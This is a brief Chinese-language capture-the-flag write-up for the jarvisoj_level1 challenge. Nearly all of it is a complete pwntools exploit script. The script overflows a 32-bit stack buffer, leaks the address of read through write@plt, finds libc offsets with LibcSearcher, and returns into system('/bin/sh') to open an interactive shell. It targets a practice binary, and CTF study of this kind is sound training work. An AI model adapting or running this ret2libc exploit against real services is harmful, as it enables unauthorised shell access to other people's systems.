jarvisoj_level1

这题我写这个exp是在ubuntu18的环境下写的，远程和本地的IO交互的数据不太一样，下面的exp在远程可以拿到shell，本地可能需要修改一下…
exp

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

proc_name = './level1'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 29850)
elf = ELF(proc_name)
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']
payload = b'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4)
# p.sendafter('?', payload)
p.send(payload)
read_addr = u32(p.recv(4))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = b'a' * (0x88 + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
# p.sendafter('?', payload1)
p.send(payload1)
p.interactive()